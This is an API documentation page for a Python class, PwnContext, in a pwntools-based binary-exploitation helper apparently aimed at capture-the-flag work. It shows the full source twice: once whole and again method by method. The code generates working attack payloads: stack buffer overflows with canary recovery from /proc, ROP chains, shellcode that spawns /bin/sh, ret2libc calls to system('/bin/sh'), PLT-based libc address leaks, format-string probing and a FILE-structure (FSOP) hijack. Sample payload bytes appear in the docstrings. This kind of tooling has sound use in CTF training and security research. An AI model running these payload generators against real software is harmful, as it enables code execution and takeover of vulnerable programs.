Skip to content

Pwncontext

PwnContext

A context class for managing pwn tools state, including IO, ELF, libc, and exploitation helpers.

Attributes:

Name Type Description
io IOContext

The IO context for interacting with the target.

elf ELF

The ELF binary being exploited.

libc ELF

The libc library being used.

prefix str

Prefix for sending/receiving data.

_offset int

Cached offset for buffer overflows.

_canary int

Cached canary value.

Source code in src/pwninit/helpers/pwncontext.py
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
class PwnContext:
    """A context class for managing pwn tools state, including IO, ELF, libc,
    and exploitation helpers.

    Attributes:
        io (IOContext): The IO context for interacting with the target.
        elf (ELF): The ELF binary being exploited.
        libc (ELF): The libc library being used.
        prefix (str): Prefix for sending/receiving data.
        _offset (int): Cached offset for buffer overflows.
        _canary (int): Cached canary value.
    """

    def __init__(self, io, elf, libc, prefix=None):
        self.io = io
        self.elf = elf
        self.libc = libc
        self.prefix = prefix
        self._offset = None
        self._canary = None

    @property
    def canary(self):
        """Get the canary value for the current process.

        Returns:
            int: The canary value, or None if not found.
        """
        if not self._canary and self.io and self.io.proc and self.elf.canary:
            canary = 0x0
            auxv = open(f"/proc/{self.io.proc.pid}/auxv", "rb").read()
            word = context.bytes
            for i in range(0, len(auxv), 2 * word):
                a_type = u64(auxv[i : i + word].ljust(8, b"\x00"))
                a_val = u64(auxv[i + word : i + 2 * word].ljust(8, b"\x00"))
                if a_type == 25:  # AT_RANDOM
                    canary = u64(
                        (b"\x00" + self.io.proc.readmem(a_val + 1, 7)).ljust(
                            8, b"\x00"
                        )
                    )
                    break
            self._canary = canary
        return self._canary

    @canary.setter
    def canary(self, new_canary):
        self._canary = new_canary

    @property
    def offset(self):
        """Get the offset for buffer overflows by sending a cyclic pattern and
        analyzing the corefile.

        Returns:
            int: The offset value.
        """
        if not self._offset:
            context.delete_corefiles = True
            if hasattr(self.io, "sendline"):
                self.io.sendline(cyclic(1000))
            self.io.poll(block=True)
            core = self.io.corefile
            self._offset = cyclic_find(core.fault_addr)
            log.info(f"offset: {self._offset}")
        return self._offset

    @offset.setter
    def offset(self, new_offset):
        """
        Get the offset for buffer overflows by sending a cyclic pattern and analyzing the corefile.

        Returns:
            int: The offset value.
        """
        self._offset = new_offset

    def __find_sym(self, symbol, bin_obj):
        if isinstance(symbol, int):
            return symbol
        elif "+" in symbol:
            func, off = symbol.split("+")
            return bin_obj.sym[func] + int(off, 0)
        elif "-" in symbol:
            func, off = symbol.split("-")
            return bin_obj.sym[func] - int(off, 0)
        else:
            return bin_obj.sym[symbol]

    def resolve(self, symbol):
        """
        Resolve a symbol to an address in either the ELF or libc.

        Args:
            symbol (str or int): The symbol name or address.

        Returns:
            int: The resolved address, or None if not found.
        """
        if isinstance(symbol, int):
            return symbol

        for b in (self.libc, self.elf):
            try:
                addr = self.__find_sym(symbol, b)
                if addr is not None:
                    return addr
            except Exception:
                continue
        return None

    def leak(self, leak_data, leaked=0, name=""):
        """
        Parse and log a memory leak, optionally assigning it to a context variable.

        Args:
            leak (bytes or str): The leaked data.
            leaked (int): Value to subtract from the leak.
            name (str): Name of the variable to assign the leak to (e.g., "libc", "elf").

        Returns:
            int: The parsed leak value.

        Example:

            >>> stack = leak(b'[LEAK] The address of cmd where you are writing to is: 0x7ffeab2e0b90')
            [*] [stack]: leak = 0x7ffc710958d0

            >> print(hex(stack))
            0x7ffc710958d0
        """
        start = leak_data.find(b"0x")
        base = 0

        if start >= 0:
            leak_data = leak_data[start:]
            end = 2
            for i in leak_data[2:]:
                try:
                    int(chr(i), 16)
                    end += 1
                except ValueError:
                    break
            leak_val = int(leak_data[:end], 16)
        else:
            if len(leak_data) <= 8:
                leak_val = upack(leak_data)
            else:
                if leak_data[-1] == 0xA:
                    leak_data = leak_data[:-1]

                for i in range(len(leak_data)):
                    for j in range(6, 8):
                        l_val = upack(leak_data[i : i + j])
                        found_name, found_base = self.check_leaks(l_val)
                        if found_name:
                            log.info(
                                f"{found_name} found at leak[{i}:{i + j}]"
                            )
                            break
                else:
                    log.warn("cannot find leak, try another way")
                    exit(0)
                return

        leak_val -= leaked

        if not name:
            name, base = self.check_leaks(leak_val)

        if base == 0:
            base = leak_val

        var = getattr(self, name, False)
        if var:
            if type(getattr(var, "address", False)) is int:
                var.address = base
            else:
                setattr(self, name, base)

        if base > 0 and leak_val != base:
            log.info(
                f"{name}: leak = {leak_val:#x}, base = {base:#x}, diff = {leak_val - base}"
            )
        elif name:
            log.info(f"{name}: leak = {leak_val:#x}")
        elif not self.io:
            log.info(f"leak = {leak_val:#x}")
        else:
            log.warn("no leak found")

        return leak_val

    def check_leaks(self, leak_val):
        """
        Check if a leaked value corresponds to a known memory region (e.g., libc, elf, canary).

        Args:
            leak (int): The leaked value.

        Returns:
            tuple: (name, base) where `name` is the region name and `base` is the base address.
        """
        base = 0
        name = ""

        if not self.io or not self.io.proc:
            return name, base

        if self.canary and hex(leak_val) in hex(self.canary):
            return "canary", self.canary

        for m in self.io.proc.maps():
            if m.start <= leak_val <= m.end:
                if self.elf and self.elf.path == m.path:
                    name = "elf"
                    base = self.io.proc.elf_mapping().address
                elif self.libc and self.libc.path == m.path:
                    name = "libc"
                    base = self.io.proc.libc_mapping().address
                else:
                    name = m.path.strip("/")
                    if hasattr(self.io.proc, f"{name}_mapping"):
                        base = getattr(
                            self.io.proc, f"{name}_mapping"
                        )().address
                return name, base

        return name, base

    def ropchain(self, chain, ret=True):
        """
        Generate a ROP chain for the specified chain of function calls.

        Args:
            chain (dict): A dictionary mapping function names to their arguments.
            ret (bool): If True, add a `ret` gadget at the start and end of the chain.

        Returns:
            bytes: The generated ROP chain.

        Example:

            >>> payload = ropchain({"shell": []}})
            [*] ROP :
                0x0000:        0x804835a ret
                0x0004:        0x8048516 shell()
                0x0008:        0x804835a ret
            >>> payload
            b'Z\\x83\\x04\\x08\\x16\\x85\\x04\\x08Z\\x83\\x04\\x08'
        """
        elfs = []
        if self.elf and (not self.elf.pie or self.elf.address):
            elfs.append(self.elf)
        if self.libc and (not self.libc.aslr or self.libc.address):
            elfs.append(self.libc)

        rop = ROP(elfs)
        if elfs and ret:
            rop.raw(rop.ret.address)

        for func, params in chain.items():
            if isinstance(func, str) and "+" in func:
                f, off = func.split("+")
                func = self.resolve(f) + int(off)
            if not isinstance(params, dict):
                rop.call(func, params)
            else:
                for value, gadget in rop.setRegisters(params):
                    if isinstance(gadget, Gadget):
                        rop.raw(gadget)
                    else:
                        rop.raw(value)
                rop.call(func)

        rop.raw(rop.ret.address)
        log.info(f"ROP :\n{rop.dump()}")
        return rop.chain()

    def bof(self, data, opt=None, bp=None, **kwargs):
        """
        Generate a buffer overflow payload with optional canary and base pointer.
        Canary and offset are set using ctx.offset and ctx.canary

        Args:
            data: The data to include in the payload.
            opt (dict): Optional overrides for specific offsets.
            bp: Base pointer value to include.
            **kwargs: Additional arguments for `flat`.

        Returns:
            bytes: The generated payload.

        Example:

            >>> ctx.offset = 128
            >>> bof(b'TEST')
            b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabTEST'
        """
        offset_val = self.offset
        canary_val = self.canary

        if opt is None:
            opt = {}

        if canary_val:
            opt |= {offset_val-context.bytes*2: canary_val}

        if bp:
            opt |= {offset_val-context.bytes: bp}

        return flat({offset_val: data} | opt, **kwargs)

    def ret2shellcode(self, addr: int|str, ret=True, **kwargs):
        """
        Generate a payload to return to shellcode at the specified address.

        Args:
            addr (int): The address of the shellcode.
            ret (bool): If ropchain adds a ret before the start of the rop
            **kwargs: Additional arguments for `bof`.

        Returns:
            bytes: The generated payload.

        Example:

            >>> ctx.offset = 128
            >>> payload = ret2shellcode(0x0)
            [*] Loaded 12 cached gadgets for './ch15'
            [*] ROP :
                0x0000:        0x804835a ret
                0x0004:             0x25 0x25()
                0x0008:        0x804835a ret
            >>> payload
            b'\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x81\\xec\\x00\\x10\\x00\\x00jhh///sh/bin\\x89\\xe3h\\x01\\x01\\x01\\x01\\x814$ri\\x01\\x011\\xc9Qj\\x04Y\\x01\\xe1Q\\x89\\xe11\\xd2j\\x0bX\\xcd\\x80gaabZ\\x83\\x04\\x08%\\x00\\x00\\x00Z\\x83\\x04\\x08'
        """
        addr = self.resolve(addr)
        shellcode = asm(shellcraft.sh())
        stub = (
            asm("sub esp, 0x1000")
            if context.bits == 32
            else asm("sub rsp, 0x1000")
        )
        shellcode = stub + shellcode
        padding_len = (
            self.offset
            - context.bytes * (self.elf.canary + 1)
            - len(shellcode)
        )
        padding = asm("nop") * padding_len
        addr += len(padding) // 2
        payload = self.ropchain({addr: []}, ret)
        return self.bof(payload, opt={0: [padding, shellcode]}, **kwargs)

    def ret2win(self, win, params=None, ret=True, **kwargs):
        """
        Generate a payload to call a `win` function with the specified parameters.

        Args:
            win (str or int): The `win` function name or address.
            params (list): Arguments to pass to the `win` function.
            ret (bool): If ropchain adds a ret before the start of the rop
            **kwargs: Additional arguments for `bof`.

        Returns:
            bytes: The generated payload.
        """
        if params is None:
            params = []
        addr = self.resolve(win)
        payload = self.ropchain({addr: params}, ret)
        return self.bof(payload, **kwargs)

    def ret2libc(self, ret=True, **kwargs):
        """
        Generate a payload to call `system("/bin/sh")` using libc.

        Args:
            ret (bool): If ropchain adds a ret before the start of the rop

        Returns:
            bytes: The generated payload.
        """
        system = self.libc.sym["system"]
        bin_sh = next(self.libc.search(b"/bin/sh\x00"))
        payload = self.ropchain({system: [bin_sh]}, ret)
        return self.bof(payload, **kwargs)

    def ret2plt(self, func="puts", ret2main="main", ret=True, **kwargs):
        """
        Generate a payload to leak a libc address using the PLT.

        Args:
            func (str): The function to leak (default: "puts").
            ret2main (str): The function to return to after leaking (default: "main").
            ret (bool): If ropchain adds a ret before the start of the rop
            **kwargs: Additional arguments for `bof`.
        """
        func_plt = self.elf.plt[func]
        func_got = self.elf.got[func]
        if ret2main:
            main_addr = self.resolve(ret2main)
            payload = self.ropchain({func_plt: [func_got], main_addr: []}, ret)
        else:
            payload = self.ropchain({func_plt: [func_got]}, ret)
        self.bof(payload, **kwargs)
        leak_val = upack(self.io.recv())
        self.libc.address = leak_val - self.libc.sym[func]

    def format_string(self, n=100):
        """
        Exploit a format string vulnerability to leak memory.

        Args:
            n (int): Number of `%p` placeholders to include in the payload.

        Returns:
            int: The index of the payload in the output.
        """
        payload = "A" * context.bytes + ".%p" * n
        self.io.send(payload)
        output = self.io.recv().split(b".")
        log.info(f"format string : {output}")
        ascii_hex_target = "0x" + "41" * context.bytes
        return output.index(ascii_hex_target.encode())

    def fsopsh(
        self,
        func=None,
        arg=b"/bin/sh\0",
        file=None,
        trigger=XSPUTN,
        lock=None,
        chain=None,
    ):
        """
        Generate a fsop payload to call a function (usually system("/bin/sh"))

        Arguments:
            func(int): Address of the function to be called, libc's system by default
            arg(bytes): First argument of the call, /bin/sh by default
            file(int): Address of the file structure, libc's stdout by default
            trigger(int): Vtable entry to trigger call on, XSPUTN by default
            lock(int): Value to put as lock (an empty zone), file+0x800 by default

        Example:

            >>> fsopsh()
            b'\\x01\\x01\\x01\\x01\\x01\\x01\\x01;/bin/sh\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xfb\\xd1\\r\\xadU\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xf3\\xd1\\r\\xadU\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xb2d\\xf9\\x08\\x7f\\x00\\x00@\\x1f~\\xf9\\x08\\x7f\\x00\\x00x\\xf3\\xd1\\r\\xadU\\x00\\x00'
        """

        func = func or self.libc.sym.system
        lock = lock or file + 0x800
        file = file or self.libc.sym._IO_2_1_stdout_

        return flat(
            {
                0x00: [0x3B01010101010101, arg],
                0x68: chain if chain else 0x0,
                0x78: -1,
                0x88: lock,  # empty zone as lock
                0x90: -1,
                0xA0: file,  # wide_data
                0xD0: func,
                0xD8: self.libc.sym["_IO_wfile_jumps"]
                - (trigger - OVERFLOW),  # vtable
                0xE0: file + (0xD0 - 0x68),  # wide_data->vtable,
            },
            filler=b"\0",
        )

    def binsh(self):
        """
        Find the address of `/bin/sh` in libc.

        Returns:
            int: The address of `/bin/sh`.
        """
        return next(self.libc.search(b"/bin/sh\0"))

canary property writable

Get the canary value for the current process.

Returns:

Name Type Description
int

The canary value, or None if not found.

offset property writable

Get the offset for buffer overflows by sending a cyclic pattern and analyzing the corefile.

Returns:

Name Type Description
int

The offset value.

binsh()

Find the address of /bin/sh in libc.

Returns:

Name Type Description
int

The address of /bin/sh.

Source code in src/pwninit/helpers/pwncontext.py
482
483
484
485
486
487
488
489
def binsh(self):
    """
    Find the address of `/bin/sh` in libc.

    Returns:
        int: The address of `/bin/sh`.
    """
    return next(self.libc.search(b"/bin/sh\0"))

bof(data, opt=None, bp=None, **kwargs)

Generate a buffer overflow payload with optional canary and base pointer. Canary and offset are set using ctx.offset and ctx.canary

Parameters:

Name Type Description Default
data

The data to include in the payload.

required
opt dict

Optional overrides for specific offsets.

None
bp

Base pointer value to include.

None
**kwargs

Additional arguments for flat.

{}

Returns:

Name Type Description
bytes

The generated payload.

Example:

>>> ctx.offset = 128
>>> bof(b'TEST')
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabTEST'
Source code in src/pwninit/helpers/pwncontext.py
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
def bof(self, data, opt=None, bp=None, **kwargs):
    """
    Generate a buffer overflow payload with optional canary and base pointer.
    Canary and offset are set using ctx.offset and ctx.canary

    Args:
        data: The data to include in the payload.
        opt (dict): Optional overrides for specific offsets.
        bp: Base pointer value to include.
        **kwargs: Additional arguments for `flat`.

    Returns:
        bytes: The generated payload.

    Example:

        >>> ctx.offset = 128
        >>> bof(b'TEST')
        b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabTEST'
    """
    offset_val = self.offset
    canary_val = self.canary

    if opt is None:
        opt = {}

    if canary_val:
        opt |= {offset_val-context.bytes*2: canary_val}

    if bp:
        opt |= {offset_val-context.bytes: bp}

    return flat({offset_val: data} | opt, **kwargs)

check_leaks(leak_val)

Check if a leaked value corresponds to a known memory region (e.g., libc, elf, canary).

Parameters:

Name Type Description Default
leak int

The leaked value.

required

Returns:

Name Type Description
tuple

(name, base) where name is the region name and base is the base address.

Source code in src/pwninit/helpers/pwncontext.py
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
def check_leaks(self, leak_val):
    """
    Check if a leaked value corresponds to a known memory region (e.g., libc, elf, canary).

    Args:
        leak (int): The leaked value.

    Returns:
        tuple: (name, base) where `name` is the region name and `base` is the base address.
    """
    base = 0
    name = ""

    if not self.io or not self.io.proc:
        return name, base

    if self.canary and hex(leak_val) in hex(self.canary):
        return "canary", self.canary

    for m in self.io.proc.maps():
        if m.start <= leak_val <= m.end:
            if self.elf and self.elf.path == m.path:
                name = "elf"
                base = self.io.proc.elf_mapping().address
            elif self.libc and self.libc.path == m.path:
                name = "libc"
                base = self.io.proc.libc_mapping().address
            else:
                name = m.path.strip("/")
                if hasattr(self.io.proc, f"{name}_mapping"):
                    base = getattr(
                        self.io.proc, f"{name}_mapping"
                    )().address
            return name, base

    return name, base

format_string(n=100)

Exploit a format string vulnerability to leak memory.

Parameters:

Name Type Description Default
n int

Number of %p placeholders to include in the payload.

100

Returns:

Name Type Description
int

The index of the payload in the output.

Source code in src/pwninit/helpers/pwncontext.py
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
def format_string(self, n=100):
    """
    Exploit a format string vulnerability to leak memory.

    Args:
        n (int): Number of `%p` placeholders to include in the payload.

    Returns:
        int: The index of the payload in the output.
    """
    payload = "A" * context.bytes + ".%p" * n
    self.io.send(payload)
    output = self.io.recv().split(b".")
    log.info(f"format string : {output}")
    ascii_hex_target = "0x" + "41" * context.bytes
    return output.index(ascii_hex_target.encode())

fsopsh(func=None, arg=b'/bin/sh\x00', file=None, trigger=XSPUTN, lock=None, chain=None)

Generate a fsop payload to call a function (usually system("/bin/sh"))

Parameters:

Name Type Description Default
func int

Address of the function to be called, libc's system by default

None
arg bytes

First argument of the call, /bin/sh by default

b'/bin/sh\x00'
file int

Address of the file structure, libc's stdout by default

None
trigger int

Vtable entry to trigger call on, XSPUTN by default

XSPUTN
lock int

Value to put as lock (an empty zone), file+0x800 by default

None

Example:

>>> fsopsh()
b'\x01\x01\x01\x01\x01\x01\x01;/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfb\xd1\r\xadU\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x10\xf3\xd1\r\xadU\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\xb2d\xf9\x08\x7f\x00\x00@\x1f~\xf9\x08\x7f\x00\x00x\xf3\xd1\r\xadU\x00\x00'
Source code in src/pwninit/helpers/pwncontext.py
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
def fsopsh(
    self,
    func=None,
    arg=b"/bin/sh\0",
    file=None,
    trigger=XSPUTN,
    lock=None,
    chain=None,
):
    """
    Generate a fsop payload to call a function (usually system("/bin/sh"))

    Arguments:
        func(int): Address of the function to be called, libc's system by default
        arg(bytes): First argument of the call, /bin/sh by default
        file(int): Address of the file structure, libc's stdout by default
        trigger(int): Vtable entry to trigger call on, XSPUTN by default
        lock(int): Value to put as lock (an empty zone), file+0x800 by default

    Example:

        >>> fsopsh()
        b'\\x01\\x01\\x01\\x01\\x01\\x01\\x01;/bin/sh\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xfb\\xd1\\r\\xadU\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xf3\\xd1\\r\\xadU\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xb2d\\xf9\\x08\\x7f\\x00\\x00@\\x1f~\\xf9\\x08\\x7f\\x00\\x00x\\xf3\\xd1\\r\\xadU\\x00\\x00'
    """

    func = func or self.libc.sym.system
    lock = lock or file + 0x800
    file = file or self.libc.sym._IO_2_1_stdout_

    return flat(
        {
            0x00: [0x3B01010101010101, arg],
            0x68: chain if chain else 0x0,
            0x78: -1,
            0x88: lock,  # empty zone as lock
            0x90: -1,
            0xA0: file,  # wide_data
            0xD0: func,
            0xD8: self.libc.sym["_IO_wfile_jumps"]
            - (trigger - OVERFLOW),  # vtable
            0xE0: file + (0xD0 - 0x68),  # wide_data->vtable,
        },
        filler=b"\0",
    )

leak(leak_data, leaked=0, name='')

Parse and log a memory leak, optionally assigning it to a context variable.

Parameters:

Name Type Description Default
leak bytes or str

The leaked data.

required
leaked int

Value to subtract from the leak.

0
name str

Name of the variable to assign the leak to (e.g., "libc", "elf").

''

Returns:

Name Type Description
int

The parsed leak value.

Example:

>>> stack = leak(b'[LEAK] The address of cmd where you are writing to is: 0x7ffeab2e0b90')
[*] [stack]: leak = 0x7ffc710958d0

>> print(hex(stack))
0x7ffc710958d0
Source code in src/pwninit/helpers/pwncontext.py
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
def leak(self, leak_data, leaked=0, name=""):
    """
    Parse and log a memory leak, optionally assigning it to a context variable.

    Args:
        leak (bytes or str): The leaked data.
        leaked (int): Value to subtract from the leak.
        name (str): Name of the variable to assign the leak to (e.g., "libc", "elf").

    Returns:
        int: The parsed leak value.

    Example:

        >>> stack = leak(b'[LEAK] The address of cmd where you are writing to is: 0x7ffeab2e0b90')
        [*] [stack]: leak = 0x7ffc710958d0

        >> print(hex(stack))
        0x7ffc710958d0
    """
    start = leak_data.find(b"0x")
    base = 0

    if start >= 0:
        leak_data = leak_data[start:]
        end = 2
        for i in leak_data[2:]:
            try:
                int(chr(i), 16)
                end += 1
            except ValueError:
                break
        leak_val = int(leak_data[:end], 16)
    else:
        if len(leak_data) <= 8:
            leak_val = upack(leak_data)
        else:
            if leak_data[-1] == 0xA:
                leak_data = leak_data[:-1]

            for i in range(len(leak_data)):
                for j in range(6, 8):
                    l_val = upack(leak_data[i : i + j])
                    found_name, found_base = self.check_leaks(l_val)
                    if found_name:
                        log.info(
                            f"{found_name} found at leak[{i}:{i + j}]"
                        )
                        break
            else:
                log.warn("cannot find leak, try another way")
                exit(0)
            return

    leak_val -= leaked

    if not name:
        name, base = self.check_leaks(leak_val)

    if base == 0:
        base = leak_val

    var = getattr(self, name, False)
    if var:
        if type(getattr(var, "address", False)) is int:
            var.address = base
        else:
            setattr(self, name, base)

    if base > 0 and leak_val != base:
        log.info(
            f"{name}: leak = {leak_val:#x}, base = {base:#x}, diff = {leak_val - base}"
        )
    elif name:
        log.info(f"{name}: leak = {leak_val:#x}")
    elif not self.io:
        log.info(f"leak = {leak_val:#x}")
    else:
        log.warn("no leak found")

    return leak_val

resolve(symbol)

Resolve a symbol to an address in either the ELF or libc.

Parameters:

Name Type Description Default
symbol str or int

The symbol name or address.

required

Returns:

Name Type Description
int

The resolved address, or None if not found.

Source code in src/pwninit/helpers/pwncontext.py
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
def resolve(self, symbol):
    """
    Resolve a symbol to an address in either the ELF or libc.

    Args:
        symbol (str or int): The symbol name or address.

    Returns:
        int: The resolved address, or None if not found.
    """
    if isinstance(symbol, int):
        return symbol

    for b in (self.libc, self.elf):
        try:
            addr = self.__find_sym(symbol, b)
            if addr is not None:
                return addr
        except Exception:
            continue
    return None

ret2libc(ret=True, **kwargs)

Generate a payload to call system("/bin/sh") using libc.

Parameters:

Name Type Description Default
ret bool

If ropchain adds a ret before the start of the rop

True

Returns:

Name Type Description
bytes

The generated payload.

Source code in src/pwninit/helpers/pwncontext.py
384
385
386
387
388
389
390
391
392
393
394
395
396
397
def ret2libc(self, ret=True, **kwargs):
    """
    Generate a payload to call `system("/bin/sh")` using libc.

    Args:
        ret (bool): If ropchain adds a ret before the start of the rop

    Returns:
        bytes: The generated payload.
    """
    system = self.libc.sym["system"]
    bin_sh = next(self.libc.search(b"/bin/sh\x00"))
    payload = self.ropchain({system: [bin_sh]}, ret)
    return self.bof(payload, **kwargs)

ret2plt(func='puts', ret2main='main', ret=True, **kwargs)

Generate a payload to leak a libc address using the PLT.

Parameters:

Name Type Description Default
func str

The function to leak (default: "puts").

'puts'
ret2main str

The function to return to after leaking (default: "main").

'main'
ret bool

If ropchain adds a ret before the start of the rop

True
**kwargs

Additional arguments for bof.

{}
Source code in src/pwninit/helpers/pwncontext.py
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
def ret2plt(self, func="puts", ret2main="main", ret=True, **kwargs):
    """
    Generate a payload to leak a libc address using the PLT.

    Args:
        func (str): The function to leak (default: "puts").
        ret2main (str): The function to return to after leaking (default: "main").
        ret (bool): If ropchain adds a ret before the start of the rop
        **kwargs: Additional arguments for `bof`.
    """
    func_plt = self.elf.plt[func]
    func_got = self.elf.got[func]
